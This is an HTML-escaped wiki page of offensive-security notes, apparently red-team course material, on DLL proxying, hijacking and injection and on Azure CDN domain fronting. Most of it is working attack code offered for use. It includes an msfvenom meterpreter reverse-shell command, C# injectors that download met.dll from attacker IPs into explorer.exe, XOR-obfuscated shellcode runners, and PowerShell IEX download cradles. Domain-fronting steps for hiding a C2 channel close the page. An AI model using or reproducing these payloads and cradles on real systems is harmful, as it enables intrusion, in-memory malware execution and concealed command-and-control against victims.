#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
